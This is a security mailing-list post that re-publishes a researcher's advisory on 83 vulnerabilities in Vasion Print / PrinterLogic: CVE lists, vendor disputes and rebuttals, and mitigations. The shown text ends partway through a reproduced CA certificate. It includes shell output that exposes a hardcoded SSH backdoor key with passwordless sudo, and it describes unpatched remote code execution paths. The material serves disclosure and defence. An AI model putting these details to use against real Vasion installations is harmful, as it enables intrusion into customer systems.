[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

Re: [FD] 83 vulnerabilities in Vasion Print / PrinterLogic



Hello,

VulnCheck has assigned the following CVEs to the previously disclosed
vulnerabilities:

CVE-2025-34208, CVE-2025-34210, CVE-2025-34196, CVE-2025-34207, CVE-2025-34209,
CVE-2025-34211, CVE-2025-34212, CVE-2025-34215, CVE-2025-34216, CVE-2025-34217,
CVE-2025-34218, CVE-2025-34220, CVE-2025-34221, CVE-2025-34222, CVE-2025-34223,
CVE-2025-34224, CVE-2025-34225, CVE-2025-34228, CVE-2025-34229, CVE-2025-34230,
CVE-2025-34231, CVE-2025-34232, CVE-2025-34233, CVE-2025-34234, CVE-2025-34235,
CVE-2025-34188, CVE-2025-34189, CVE-2025-34190, CVE-2025-34191, CVE-2025-34192,
CVE-2025-34193, CVE-2025-34194, CVE-2025-34195, CVE-2025-34197, CVE-2025-34198,
CVE-2025-34199, CVE-2025-34200, CVE-2025-34201, CVE-2025-34202, CVE-2025-34203,
CVE-2025-34204, CVE-2025-34205, CVE-2025-34206.


Please find attached an updated version of the security advisory (text
only, 2025-vasion-printerlogic.txt) sent to security mailing lists.

The complete version on "83 vulnerabilities in Vasion Print /
PrinterLogic" is posted here:
  
https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html

The text version is also posted here:
  https://pierrekim.github.io/advisories/2025-vasion-printerlogic.txt

Best regards,



On Tue, Apr 8, 2025 at 1:48 PM Pierre Kim <pierre.kim.sec@xxxxxxxxx> wrote:

> Hello,
>
> Please find a text-only version below sent to security mailing lists.
>
> The complete version on "83 vulnerabilities in Vasion Print /
> PrinterLogic" is posted here:
>
> https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html
>
> The text version is also posted here:
>   https://pierrekim.github.io/advisories/2025-vasion-printerlogic.txt
>
>
> === text-version of the advisory  ===
>
> [previous version removed]
>
>


-- 
Pierre Kim
pierre.kim.sec@xxxxxxxxx
@PierreKimSec
https://pierrekim.github.io/
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512

## Advisory Information

Title: 83 vulnerabilities in Vasion Print / PrinterLogic
Advisory URL: 
https://pierrekim.github.io/advisories/2025-vasion-printerlogic.txt
Blog URL: 
https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html
Date published: 2025-04-08
Vendors contacted: Vasion
Release mode: Released
CVE: CVE-2025-27637, CVE-2025-27638, CVE-2025-27639, CVE-2025-27641, 
CVE-2025-27642, CVE-2025-27643, CVE-2025-27644, CVE-2025-27645, CVE-2025-27646, 
CVE-2025-27647, CVE-2025-27648, CVE-2025-27649, CVE-2025-27650, CVE-2025-27651, 
CVE-2025-27652, CVE-2025-27653, CVE-2025-27654, CVE-2025-27655, CVE-2025-27656, 
CVE-2025-27657, CVE-2025-27674, CVE-2025-27675, CVE-2025-27676, CVE-2025-27677, 
CVE-2025-27678, CVE-2025-27679, CVE-2025-27680, CVE-2025-27681, CVE-2025-27682, 
CVE-2025-27683, CVE-2025-27684, CVE-2025-27685, CVE-2025-34188, CVE-2025-34189, 
CVE-2025-34190, CVE-2025-34191, CVE-2025-34192, CVE-2025-34193, CVE-2025-34194, 
CVE-2025-34195, CVE-2025-34196, CVE-2025-34197, CVE-2025-34198, CVE-2025-34199, 
CVE-2025-34200, CVE-2025-34201, CVE-2025-34202, CVE-2025-34203, CVE-2025-34204, 
CVE-2025-34205, CVE-2025-34206, CVE-2025-34207, CVE-2025-34208, CVE-2025-34209, 
CVE-2025-34210, CVE-2025-34211, CVE-2025-34212, CVE-2025-34215, CVE-2025-34216, 
CVE-2025-34217, CVE-2025-34218, CVE-2025-34220, CVE-2025-34221, CVE-2025-34222, 
CVE-2025-34223, CVE-2025-34224, CVE-2025-34225, CVE-2025-34228, CVE-2025-34229, 
CVE-2025-34230, CVE-2025-34231, CVE-2025-34232, CVE-2025-34233, CVE-2025-34234, 
CVE-2025-34235



## Product description

> Secure. Scalable. Print Automation That Just Works.
> Eliminate print servers to secure your environment. Leverage the power of AI 
> and automation to streamline print processes through one central location. 
> Say goodbye to the frustrations of a traditional print environment and 
> welcome a new era of print automation.
>
> Serverless Print Automation with Built-In Flexibility
> Print servers are prone to failure, expensive to maintain, and pose major 
> security risks. Vasion Print's cloud-native, centrally-managed direct IP 
> printing architecture eliminates the need for legacy systems, simplifying 
> your IT infrastructure and reducing operational costs. By eliminating print 
> servers, your print environment is highly available with low maintenance, 
> allowing your business to scale and transform with automation and AI.

> From https://vasion.com/print/



## Vulnerabilities Summary

Vulnerable versions for patched vulnerabilities: Vason Print Virtual Appliance 
Host < 25.1.102, Application < 25.1.1413.

Vulnerable versions for unpatched vulnerabilities: all versions.

__I. The summary of the vulnerabilities found in 2021:__

__11 vulnerabilities affecting the MacOS/Linux client__

1. CVE-2025-27685 - Hardcoded Private key for the PrinterLogic CA and Hardcoded 
password
2. CVE-2025-27682 - Incorrect permissions in /opt/PrinterInstallerClient/log
3. CVE-2025-34188 - Leak of secrets inside the logs
4. CVE-2025-34189 - Lack of authentication of the communication between services
5. CVE-2025-27681 - Bypass of admin commands using IPC
6. CVE-2025-34190 - Authentication bypass on the PrinterInstallerClientService 
program
7. CVE-2025-27683 - Potential upload of new drivers
8. CVE-2025-27684 - Insecure generation of debug archive
9. CVE-2025-27677 - Arbitrary File Read as root
10. CVE-2025-34191 - Arbitrary File Write as root
11. CVE-2025-34192 - Outdated OpenSSL version

__5 vulnerabilities affecting the Windows client__

12. CVE-2025-34193 - Insecure PrinterInstallerClientInterface.exe, 
PrinterInstallerClient.exe and PrinterInstallClientLauncher.exe
13. CVE-2025-27678 - Local Privilege Escalation with insecure use of 
C:\Windows\Temp\PPP\Log
14. CVE-2025-34194 - Local Privilege Escalation with insecure use of 
C:\Users\%USER%\AppData\Local\Temp
15. CVE-2025-34195 - Remote Code Execution (Execution of C:\Program.exe during 
the installation of a driver)
16. CVE-2025-34196 - Hardcoded Private key for the PrinterLogic CA and 
Hardcoded password


__II. The summary of the vulnerabilities found in 2022:__

__33 vulnerabilities affecting the VA and SaaS versions__

17. CVE-2025-34197 - Hardcoded password for the ubuntu user
18. CVE-2025-34198 - Hardcoded SSH server keys
19. CVE-2025-34199 - Insecure communications to printers and insecure 
communications to micro-services by disabling all SSL verifications
20. CVE-2025-34200 - Password for `network` stored in clear-text inside 
`/etc/issue`, world-readable
21. CVE-2025-27650 - Hardcoded SSH keys + private SSH keys for 
[redacted]@printerlogic.com
22. CVE-2025-27643 - Hardcoded AWS secret key and Presence of CI/CD scripts
23. CVE-2025-27638 - Hardcoded Mailgun credentials
24. CVE-2025-27674 - Hardcoded OKTA Private key
25. CVE-2025-34201 - Lack of firewall between Docker instances
26. CVE-2025-34202 - Insecure access to Docker instances from the WAN
27. CVE-2025-34206 - Incorrect security architecture and wrong permissions in 
/var/www/efs_storage allowing allowing to compromise the solution
28. CVE-2025-34203 - Outdated, End-Of-Life, unsupported and vulnerable 
components (Nginx, libraries, Laravel, operating systems)
29. CVE-2025-34204 - Processes running as root in Docker instances
30. CVE-2025-27639 - Creation of administrator cookies using the credentials of 
regular users
31. CVE-2025-27637 - XSS in the license generator and weak encryption algorithm
32. CVE-2025-27649 - Incorrect Access Control to PHP webpages allowing to reach 
printers
33. CVE-2025-27651 - Pre-authentication Elatec password disclosure, Change to a 
malicious Elatec server and Blind-SSRF
34. CVE-2025-27652 - Pre-authenticated SSRF and Change of RFIDeas
35. CVE-2025-27653 - Pre-authenticated Stored XSS in 
/var/www/app/console_release/fast_release/register_badge.php
36. CVE-2025-27655 - SSRF everywhere in /var/www/app and compromise of the SaaS 
infrastructure
37. CVE-2025-27679 - XSS in /var/www/app/console_release/fast_release/ 
register_badge_new.php
38. CVE-2025-27676 - XSS in /www/app/admin/design/reports/overview_popup.php 
and Incorrect Access Control
39. CVE-2025-27654 - XSS everywhere in /www/app/admin/*
40. CVE-2025-27657 - Remote Code Executions using eval() - requires 
administrator privileges
41. CVE-2025-34205 - Dangerous PHP dead code
42. CVE-2025-34207 - Insecure SSH configuration
43. CVE-2025-34208 - Incorrect encryption algorithms used to store passwords
44. CVE-2025-34209 - GPG Private key stored in the solution
45. CVE-2025-34210 - Passwords readable and stored in clear-text
46. CVE-2025-34211 - Hardcoded SSL certificate / Private keys
47. CVE-2025-27656 - Samba password available in the process list
48. CVE-2025-34212 - Supply Chain attack against the PrinterLogic build system
49. CVE-2025-27675 - Vulnerable OpenID implementation

__ 1 vulnerability affecting only the VA version__

50. CVE-2025-27680 - Insecure firmware image update using the MS_AUTH_KEY 
variable


__III. The summary of the vulnerabilities found in 2024:__

__ 4 vulnerabilities affecting only the SaaS version__

51. CVE-2025-27648 - Cross-tenant vulnerability - disclosure of passwords of 
other customers and change of settings of any tenant
52. CVE-2025-27646 - Take over of tenants without authentication
53. non-assigned CVE vulnerability - Insecure design of the SaaS version
54. non-assigned CVE vulnerability - SQL Backups stored in clear-text in the 
Cloud

__ 2 vulnerabilities affecting only the VA version__

55. CVE-2025-34215 - Pre-authenticated Remote take over of PrinterLogic 
instances (Remote Code Execution)
56. CVE-2025-34216 - Remote Code Execution and Leak of passwords using APIs

__ 25 vulnerabilities affecting the VA and SaaS versions__

57. CVE-2025-34217 - Undocumented hardcoded SSH key
58. CVE-2025-34218 - Internal Docker instances exposed on the LAN and the 
Internet
59. non-assigned CVE vulnerability - Docker instance used to upload clients 
reachable from the Internet and the LAN
60. CVE-2025-34220 - Unauthenticated API leaking group information
61. CVE-2025-27645 - Installation of the Firefox plugin over HTTP
62. CVE-2025-34221 - Authentication Bypass - Docker instances reachable without 
authentication
63. CVE-2025-27647 - Addition of partial-admin users without authentication
64. CVE-2025-27641 - Unauthenticated admin APIs allowing to configure the IdP 
(SSO) authentication mechanism
65. CVE-2025-34222 - Unauthenticated admin APIs allowing to upload/download SSL 
certificates
66. CVE-2025-34223 - Insecure credentials used for the installation
67. CVE-2025-34224 - No authentication required to configure/delete 
printers/rfid devices
68. CVE-2025-34225 - 11 SSRF vulnerabilities in the console_release directory
68.1. CVE-2025-34228 - 4 SSRF vulnerabilities in 
/var/www/app/console_release/lexmark/update.php
68.2. CVE-2025-34229 - 1 blind SSRF vulnerability in 
/var/www/app/console_release/hp/installApp.php
68.3. CVE-2025-34230 - 2 blind SSRF vulnerabilities in 
/var/www/app/console_release/hp/log_off_single_sign_on.php
68.4. CVE-2025-34231 - 2 SSRF vulnerabilities in 
/var/www/app/console_release/hp/badgeSetup.php
68.5. CVE-2025-34232 - 2 blind SSRF vulnerabilities in 
/var/www/app/console_release/lexmark/dellCheck.php
69. CVE-2025-34233 - Insecure use of file_get_contents() allowing to bypass 
security checks
70. CVE-2025-34234 - Hardcoded keys used to encrypt information - insecure 
encryption
71. CVE-2025-27642 - Unauthenticated webpage allowing to edit driver packages

__ 2 vulnerabilities affecting the Windows client__

72. CVE-2025-27644 - Local Privilege Escalation
73. CVE-2025-34235 - Insecure option allowing an attacker to get Remote Code 
Execution against any client


_Miscellaneous notes_:

A blackbox security assessment of the MacOS client was done in 2021 (3 days of 
work) without access to the back-end (Virtual Appliance or SaaS) and was 
provided to PrinterLogic (now Vasion Print). A (very) quick security assessment 
of the Windows Client was also done in 2021 (~ 6 hours of work - as 
PrinterLogic was not the main target of the security evaluation) and was 
provided to PrinterLogic (now Vasion Print).

A third report analysing the Virtual Appliance and SaaS version was provided in 
February 2022 to Vasion after a 3-week security assessment. The vendor provided 
a test SaaS deployment.

A fourth security assessment (3 weeks of work), analysing the Virtual Appliance 
and SaaS version (the vendor provided a test SaaS deployment), was provided in 
January 2024 to the vendor allowing to check the status of the previously 
reported vulnerabilities. During this 2024 security assessment, 34 new 
vulnerabilities were found using the previous knowledge obtained in 2022 and it 
was confirmed that 20 of 33 vulnerabilities found in the VA/SaaS version 
previously reported in 2022 have not been patched - which was quite problematic.

While waiting for security patches to vulnerabilities I reported to the vendor, 
a previous colleagues of mine - Wireghoul (https://twitter.com/@wireghoul) - 
published another security assessment of PrinterLogic in 2023 with very cool 
findings: PrinterLogic SaaS, multiple vulnerabilities 
(https://gist.github.com/wireghoul/fd2abbe52025f84de5f5ca4f08a4da93). 
Surprisingly, the 18 vulnerabilities he found did not collide with my findings.

Following an email sent to the vendor in September 2024 stating that I would 
disclose all the vulnerabilities without security patches, the vendor finally 
confirmed that they would work to provide security patches before January 2025 
for all the remaining issues and they confirmed that they had already released 
some security patches. They also communicated more often on the status of the 
security patches.

It took more than 3 years to get incomplete security patches for 
vulnerabilities found in 2022 and 1 year for vulnerabilities found in 2024 (see 
below). My interpretation is that the vendor was overwhelmed with my findings.

Regarding reports sent in 2022 and 2024, the vendor never asked me technical 
details regarding vulnerabilities and they stated by email on October 5, 2024 
that all the reported vulnerabilities would be fixed. The vendor also 
reconfirmed again on January 17, 2025 that all the vulnerabilities had been 
fixed (except vulnerabilities related to Docker configuration) so my assumption 
was they accepted all the vulnerabilities and patched them. Unfortunately, I 
was incorrect and in discussions related to disclosure and missing Vendor's 
security bulletins in March 2025, it appeared, to my surprise, that Vasion 
considered 8 vulnerabilities to be "feature requests" and had consequently not 
been patched. When reviewing the previous tracking document they shared with 
me, some of these vulnerabilities were missing or were indicated as "patched". 
It is unclear if the vendor would patch them. I included the *Vendor Response 
regarding disputed and unpatched vulnerabilities* in this document, followed by 
my comments, because the vendor disagreed with my analysis but I **strongly** 
believe that some of the final Vendor's responses are technically incorrect 
(please find my technical explanations below).

At least 4 vulnerabilities (2 reported in February 2020 and 2 reported in 
January 2024 [including a rejected vulnerability]) have not been yet patched, 
allowing a remote attacker to get a Remote Code Execution against Vasion Print 
without authentication. Requiring more than 3 years to provide incomplete 
security patches does not appear to be in line with the best practices in 
responding to cybersecurity risks. It is also quite worrying that the vendor 
decided to reject valid vulnerabilities (including a backdoor RCE reported in 
January 2024) and did not provide security patches for 1 RCE reported in 
January 2022 and 2 RCEs reported in January 2024.

Due to the design of the solution - Vasion Print needs to reach remote printers 
over HTTP and HTTPS - Vasion Print is prone to SSRF vulnerabilities. 11 SSRF 
vulnerabilities were reported based on webpages that were randomly chosen and 
analyzed. SSRF vulnerabilities could be catastrophic in an Cloud environment 
because an attacker can reach metadata services 
(https://swisskyrepo.github.io/InternalAllTheThings/cloud/aws/aws-metadata/) 
and extract credentials for lateral movements. Additionally, multiple 
cross-tenant vulnerabilities were found allowing an attacker to compromise any 
instance. I recommended to the vendor to review hundreds of calls to curl and 
file_get_contents() that use attacker-controlled inputs, in order to patch SSRF 
vulnerabilities.

I did not check if the reported vulnerabilities have been correctly patched.

I waited over 13 times longer than the usual coordination time (13 * 3 months) 
hoping that the vendor would release complete security patches. Unfortunately, 
they did not patch all the vulnerabilities.

Consequently, I decided to provide this security advisory to share some 
recommendations to mitigate the security risks on this solution.

The vulnerabilities found in 2024 are way more impactful, since I used my 
previous knowledge to analyze interesting entrypoints allowing an attacker to 
perform multiple Remote Code Executions, authentication bypasses and 
cross-tenant vulnerabilities and I suggest directly reading the 2024 
vulnerabilities.

Although the list of vulnerabilities is substantial, I consider that the 
security posture of Vasion Print has improved significantly as a result of the 
reporting of these vulnerabilities.

Regarding the (lack of) CVEs, the vendor confirmed that they reached MITRE 
multiple times to have CVE identifiers assigned to vulnerabilities.
Unfortunately, they never got any reply and they used custom identifiers to 
track vulnerabilities (`V-YEAR-NUMBER`) in their security bulletins. I reached 
JPCERT to assign CVE Identifiers to the vulnerabilities, since I worked with 
JPCERT in 2023 for vulnerabilities found in Toshiba 
(https://pierrekim.github.io/blog/2024-06-27-toshiba-mfp-40-vulnerabilities.html)
 and Sharp 
(https://pierrekim.github.io/blog/2024-06-27-sharp-mfp-17-vulnerabilities.html) 
Multi-Function printers. Finally, MITRE assigned 33 CVEs in March 2025 but more 
than 50 CVE IDs are still missing.

I reached MITRE in March 2025 two times to assign CVE IDs to the non-assigned 
vulnerabilities and will update this security advisory accordingly if CVEs are 
assigned. Update November 2025: VulnCheck assigned the missing CVEs.

_Impacts_

An attacker can compromise Vasion Printer installations without authentication, 
move laterally in the Windows/MacOS clients and get Remote Code Execution on 
these clients.

It was also possible to compromise other customers since cross-tenant 
vulnerabilities were found, allowing to disclose clear-text passwords of other 
customers and get admin access to their accounts using multiple vulnerabilities.

A multitude of SSRF vulnerabilities were found, potentially allowing an 
attacker to compromise the underlying AWS infrastructure of the SaaS version.

_Recommendations_

Please note that the following recommendations are based on the multiple 
vulnerabilities that were found in Vasion print. 
Implementing these recommendations will considerably reduce the attack surface, 
limit security risks and get unpatched vulnerabilities patched:

- - Apply security patches.
- - Use network segmentation not to expose Vasion Print / PrinterLogic on the 
network or to only expose Vasion Print / PrinterLogic to trusted and secure 
machines on port 443/tcp. This protects against vulnerabilities in PHP webpages 
and Docker instances.
- - Install the Virtual Appliance in a secure network. This protects against 
RCEs based on Network Layer 2 (currently unpatched).
- - Use the Virtual Appliance version instead of the SaaS version. This 
protects against cross-tenant vulnerabilities and SSRF vulnerabilities that 
could compromise Cloud-based infrastructure.
- - Deploy the Virtual Appliance version on-premise instead of using Cloud 
infrastructures. This protects against SSRF vulnerabilities that could 
compromise Cloud-based infrastructure.
- - Implement workarounds for unpatched and disputed vulnerabilities.
- - Remove the hardcoded `~printerlogic/.ssh/authorized_keys` file found in the 
Virtual Appliance. This file contains a hardcoded public SSH key allowing an 
undocumented backdoor SSH access with password-less sudo privileges (providing 
a full root access) if SSH is used on the Virtual Appliance. Vasion rejected 
this vulnerability.
- - If you are using the SaaS version, rotate passwords, because some of them 
were returned in clear-text when sending a regular HTTP request to the badge 
API without authentication in any instance. It is worth noting that these 
passwords were corresponding to different tenants. This vulnerability is 
"_V-2024-003 - Cross Tenant Password Exposure_" in the vendor's security 
bulletins (CVSS: 10) and was patched in January 2024 (CVE-2025-27648).



## Unpatched vulnerabilities

The vendor stated they would patch these vulnerabilities in a future release of 
Vasion Print:

2022:

- - non-assigned CVE vulnerability - Insecure access to Docker instances from 
the WAN

Note that an attacker located in the same network segment will be able to 
achieve Remote Code Execution against the Virtual Appliance using this 
vulnerability.

2024:

- - non-assigned CVE vulnerability - Processes running as root in Docker 
instances

- - non-assigned CVE vulnerability - Authentication Bypass - Docker instances 
reachable without authentication

Note that an attacker located in the same network segment will be able to 
achieve Remote Code Execution against the Virtual Appliance using this 
vulnerability.



## Vendor Response regarding disputed and unpatched vulnerabilities

On March 12, 2025, Vasion considered the following issues as "feature requests" 
or non issues and consequently they responded no security bulletins would be 
published. After sending my feedback stating that I was surprised that some 
vulnerabilities would not be patched, Vasion provided a final risk analysis on 
March 18, 2025 regarding disputed findings:

1. non-assigned CVE vulnerability - Password for `network` stored in clear-text 
inside `/etc/issue`, world-readable

    "The presence of a network password in clear text within the /etc/issue 
directory does not pose an immediate risk to the confidentiality, integrity, or 
availability (CIA) of customer data or systems.  Exploitation of this finding 
would require either physical access to the host system or prior network 
access, limiting the likelihood of unauthorized exposure. However, as a 
security best practice, Vasion continuously evaluates opportunities to enhance 
protections against potential attack vectors."

2. non-assigned CVE vulnerability - Lack of firewall between Docker instances

    "This has been categorized as a feature request. The absence of firewalls 
between Docker instances does not introduce a risk to customer data or system 
security. While implementing firewalls could enhance the overall 
defense-in-depth strategy, it is not a requirement for maintaining product 
security. The researcher's recommendations have been submitted as an internal 
feature request to further strengthen security. No security bulletin will be 
published for this finding."

3. non-assigned CVE vulnerability - Incorrect security architecture and wrong 
permissions in /var/www/efs_storage allowing allowing to compromise the solution

    "This has been categorized as a feature request. The Vasion Automate 
Virtual Appliance operates under a shared responsibility model, where 
administrators are responsible for configuring persistent storage and 
encrypting configuration files. The researcher identified certain configuration 
files with excessive permissions, which is only applicable in cases where 
storage encryption has not been properly configured. Encryption configurations 
vary based on deployment environments. Customers are advised to follow best 
practices for securing persistent storage, as outlined in Vasion's deployment 
guidance for AWS and other environments 
(https://help.printerlogic.com/va/Print/Setup/Virtual_Appliance/Setup-Using-AWS.htm#:~:text=4.-,Create%20the%20Data%20Volume,-In%20the%20left).
 No security bulletin will be published for this finding."

4. non-assigned CVE vulnerability - Incorrect encryption algorithms used to 
store passwords

    "This issue was partially resolved. However, due to an extended timeline 
for migrating to the new login portal, the legacy authentication platform will 
remain in use for an undetermined period. In light of this, the issue has been 
reopened and will be addressed as a priority. The resolution will be 
implemented as soon as possible."

5. non-assigned CVE vulnerability - Passwords readable and stored in clear-text

    "This has been categorized as a feature request. The Vasion Automate 
Virtual Appliance follows a shared responsibility model, where administrators 
are expected to configure persistent storage encryption. The researcher 
identified certain network passwords stored in clear text, but this is only 
applicable when storage encryption is not properly configured. Encryption 
configurations vary by deployment environment. Customers are advised to follow 
best practices for securing persistent storage 
(https://help.printerlogic.com/va/Print/Setup/Virtual_Appliance/Setup-Using-AWS.htm#:~:text=4.-,Create%20the%20Data%20Volume,-In%20the%20left).
 No security bulletin will be published for this finding."

6. non-assigned CVE vulnerability - Insecure design of the SaaS version

    "This finding has been classified as a false positive. A review of Vasion's 
internal architecture confirms that Server-Side Request Forgery (SSRF) cannot 
lead to account takeover as proposed. The hypothetical attack path presented 
requires multiple additional vulnerabilities, which are not present in the 
product's gateway microservices. No security bulletin will be published for 
this finding."

7. non-assigned CVE vulnerability - Undocumented hardcoded SSH key

    "This finding has been classified as a false positive. The Vasion Automate 
Virtual Appliance is a containerized application running on an underlying host. 
SSH key generation is unique per virtual appliance and cannot be tracked by 
Vasion. SSH is then disabled for the Virtual Appliance's host. This approach is 
a standard practice for Docker-built virtual applications to maintain host 
security. No security bulletin will be published for this finding."

8. non-assigned CVE vulnerability - Docker instance used to upload clients 
reachable from the Internet and the LAN

    "This finding has been classified as a false positive. The identified 
gateway is designed to facilitate communication between external services and 
backend services. It does not handle client uploads or distribution as 
suggested in the report. No security bulletin will be published for this 
finding."

## Analysis of Vendor Response regarding disputed and unpatched vulnerabilities

Find my comments below related to the Vendor Response on disputed and unpatched 
vulnerabilities:

1. non-assigned CVE vulnerability - Password for `network` stored in clear-text 
inside `/etc/issue`, world-readable

    Displaying clear-text credentials on the console is against good security 
practices. While the likelihood is low, an attacker with access to the server 
console (e.g. with IPMI, iLO) can compromise the server.

2. non-assigned CVE vulnerability - Lack of firewall between Docker instances

    The security assessment demonstrates that it is possible to get Remote Code 
Execution using this vulnerability (e.g., via Redis, currently exposed on the 
network, or any other SSRF vulnerability) when an attacker has a shell inside a 
Docker instance or exploits a SSRF vulnerability in the solution.
    
    It is also widely known that a SSRF vulnerability that can reach a Redis 
server allows remote code execution (https://github.com/tarunkant/Gopherus).

    It is likely that the vendor considers in its threat model that an attacker 
cannot exploit SSRF vulnerabilities (while I found more than 10 different 
SSRFs).

3. non-assigned CVE vulnerability - Incorrect security architecture and wrong 
permissions in /var/www/efs_storage allowing allowing to compromise the solution

    As a workaround, the vendor advises to use AWS EBS storage encryption.  

    EBS storage encryption encrypts disk I/O on the volume and is unrelated to 
file permissions issues.

    The official EBS documentation 
(https://docs.aws.amazon.com/ebs/latest/userguide/how-ebs-encryption-works.html)
 only states that encryption is performed on the volume.

    The AWS threat model is as follows: (1) a hard drive is stolen; (2) an 
attacker on the network can intercept disk I/O; or (3) an attacker without IAM 
permissions cannot retrieve the encryption key to decrypt the volume.
    
    Volume encryption does not protect against an attacker using a shell on the 
instance and does not patch insecure permissions.

    As a result, an attacker with a shell inside a Docker instance will have 
full access to plaintext credentials because insecure permissions are used.

4. non-assigned CVE vulnerability - Passwords readable and stored in clear-text

    Similar comment as above.

5. non-assigned CVE vulnerability - Insecure design of the SaaS version

    Vasion has not provided any information regarding additional 
authentications between services.

    When analyzing PHP files, it looks like that only the X-Site-ID header is 
used.

    Vasion states that additional vulnerabilities are required. It is unclear 
what additional vulnerabilities are required.

6. non-assigned CVE vulnerability - Undocumented hardcoded SSH key

    The technical explanation provided by Vasion appears to be likely incorrect 
since it refers to SSH host key files (found in `/etc/ssh/ssh_*`), and it is 
unrelated to the `~printerlogic/.ssh/authorized_keys` file that was reported in 
January 2024.
    
    The hardcoded file `~printerlogic/.ssh/authorized_keys` is still present in 
the latest version of Virtual Appliance (February 2025, 25.1.102 - 
https://va.printerlogic.com/virtual-appliance/releases/25.1.102/printerinstaller-25.1.102.ova
 - _e8c96fdf85298c2afb0a68726a8c3e78911aff5b8288ea9b7c7b005aa18290d4_), 
providing a root shell access to any attacker in possession of the 
corresponding private key if SSH is running:
    
    vm# cd home
    vm# ls -la
    total 20
    drwxr-xr-x  5 root         root         4096 Feb 20  2025 .
    drwxr-xr-x 19 root         root         4096 Feb 20  2025 ..
    drwxr-x---  3 network      docker       4096 Feb 20  2025 network
    drwxr-x---  3 printerlogic printerlogic 4096 Feb 20  2025 printerlogic
    drwxr-x---  4 ubuntu       docker       4096 Feb 20  2025 ubuntu
    vm# find printerlogic
    printerlogic
    printerlogic/.bash_logout
    printerlogic/.profile
    printerlogic/.ssh
    printerlogic/.ssh/authorized_keys
    printerlogic/.bashrc
    vm# cat printerlogic/.ssh/authorized_keys
    ssh-rsa 
AAAAB3NzaC1yc2EAAAADAQABAAACAQCw+sKOEvtwR/sOlzWKmZkiRfoZs9Atdm5EVIdSADiOGstscYFmXB12a6BlHptBziq2Z9NUHoRfAS923Mgk9KdGhK/0qIheyLuFks1uLve2MiIkwO4hb72AtwN8ceecJSBu6FvOq0LMEMl1PX3sNt1Yu+CFIAUfr47P6ja2y1qmW9Mj9pGGLafXFuP49D1bZ5wnZ/XVusHHyHqOOA4D1IMAxP7YqhbM6FekE9oiQqX3r//ci5YtG+yzbCcLSBjIOxVpRDFX9/0AKYzeC5DiKkQ8if+xyND0cS1kI/D5NQ5Q/NIttoQRMETv8jXDhycUrZPEOEaP4ODWj0wRD/rtTwkV12Kf9i0hxmKxh2TH7LXBEjlq6xo7w9GLSapyV2AREP94NoZjL7GAPIdz3JneiyOvb/pcCR8xjHijlr8WXk9M0ZK2Ma29KCAl4ZLPC3z43psJyYLDXmJOrIsJNE4bnBaBuWADZPKYPC54WzqpTjmp1wObQT+Jbecf/GYj0rqj2GSqu2Ij8fBKS4rJ/2aee3afLwbsYVqz/g0x4qaOZo+X6DcrvLErbgERs471k80QMWOhLbOCYtIAEcZI2gnhD3ZMZXc790sp1PC2WXD2dZFEXBqLTMIKdaIL2Nc/XCt6TYZpcfvt49S6p3KiTtN9BrfPhyINof8DbzHL2d4dL0q6/Q==
 Virtual Appliance Development Key
    vm# grep printerlogic /etc/group  
    printerlogic_ssh:x:1001:printerlogic
    printerlogic:x:1002:
    vm# grep printerlogic /etc/sudoers
    %printerlogic_ssh ALL=(ALL) NOPASSWD: ALL
 
7. non-assigned CVE vulnerability - Docker instance used to upload clients 
reachable from the Internet and the LAN
    
Vasion reports that the upload Docker instance is not in use, but is running 
and accessible from the network.

It's unclear why the vendor chooses to expand the attack surface by exposing 
unused services to the network.



## Security assessment done in 2021

## Vulnerabilities affecting the MacOS/Linux client

## Identification of the solution

The laptop is running macOS Big Sur and the Printerlogic version is 25.1.0.504:

[please use the HTML version at 
https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html]

[please use the HTML version at 
https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html]

Printerlogic version:

    user@laptop ~ % cat /opt/PrinterInstallerClient/VERSION 
    25.1.0.504



## Details - Hardcoded Private key for the PrinterLogic CA and Hardcoded 
password

The configuration file of PrinterLogic can be found in 
`/opt/PrinterInstallerClient/tmp/data/clientsettings.dat`. It is an XML file 
containing some values:

Content of `/opt/PrinterInstallerClient/tmp/data/clientsettings.dat`:

    <?xml version="1.0" encoding="utf-8"?>
    <result code="1">
      <desc>Successful</desc>
      <account_settings>
        <setting name="serverType">saas</setting>
        <setting name="admin_prot">Any (specified by url)</setting>
        <setting name="app_url">https://[redacted].printercloud10.com</setting>
        <setting name="badge_ad_object"/>
        <setting name="badge_password">SET</setting>


It contains a custom Certificate Authority (CA) and its associated private key:

        <setting name="caCertificate">-----BEGIN CERTIFICATE-----
    MIIF+DCCA+CgAwIBAgIBADANBgkqhkiG9w0BAQ0FADCBlDELMAkGA1UEBhMCVVMx
    DTALBgNVBAgMBFV0YWgxEzARBgNVBAcMClN0LiBHZW9yZ2UxFTATBgNVBAoMDFBy
    aW50ZXJMb2dpYzEZMBcGA1UECwwQUHJpbnRlckluc3RhbGxlcjEvMC0GA1UEAwwm
    UHJpbnRlckluc3RhbGxlciBDZXJ0aWZpY2F0ZSBBdXRob3JpdHkwHhcNMjEwNjA4
    MDEwOTExWhcNNDEwNjAzMDEwOTExWjCBlDELMAkGA1UEBhMCVVMxDTALBgNVBAgM
    BFV0YWgxEzARBgNVBAcMClN0LiBHZW9yZ2UxFTATBgNVBAoMDFByaW50ZXJMb2dp
    YzEZMBcGA1UECwwQUHJpbnRlckluc3RhbGxlcjEvMC0GA1UEAwwmUHJpbnRlcklu
    c3RhbGxlciBDZXJ0aWZpY2F0ZSBBdXRob3JpdHkwggIiMA0GCSqGSIb3DQEBAQUA
    A4ICDwAwggIKAoICAQCs4uTY7wGVIs14OPZnEx33WwXg3b5aAEEw6uTiwgutiZoj
    UoAJ7hytkEK7KDOB1TL7/IphKmtJdkixLgZYiLtRjzejOeQNPNbvROg/TtBADTal
    Wp6d7j3Sr8a6yz0lwbMYgdpmu1M9kxAgc10PX2tbjcnGfP2LQ5eXofHkkyvGtCaE
    o9RSs0DOLsIrK9Y6yctz+tKhYca0wPjIqp0IQBfHaCnskmqrWMlUU2PW9b3cIY96 
    [...]
    NmRZ843dZWEvh7Sa7uOqjXGbKgM209Y+z1qTGS5ge6+yE/08dswGx6lQLkgOGJjh
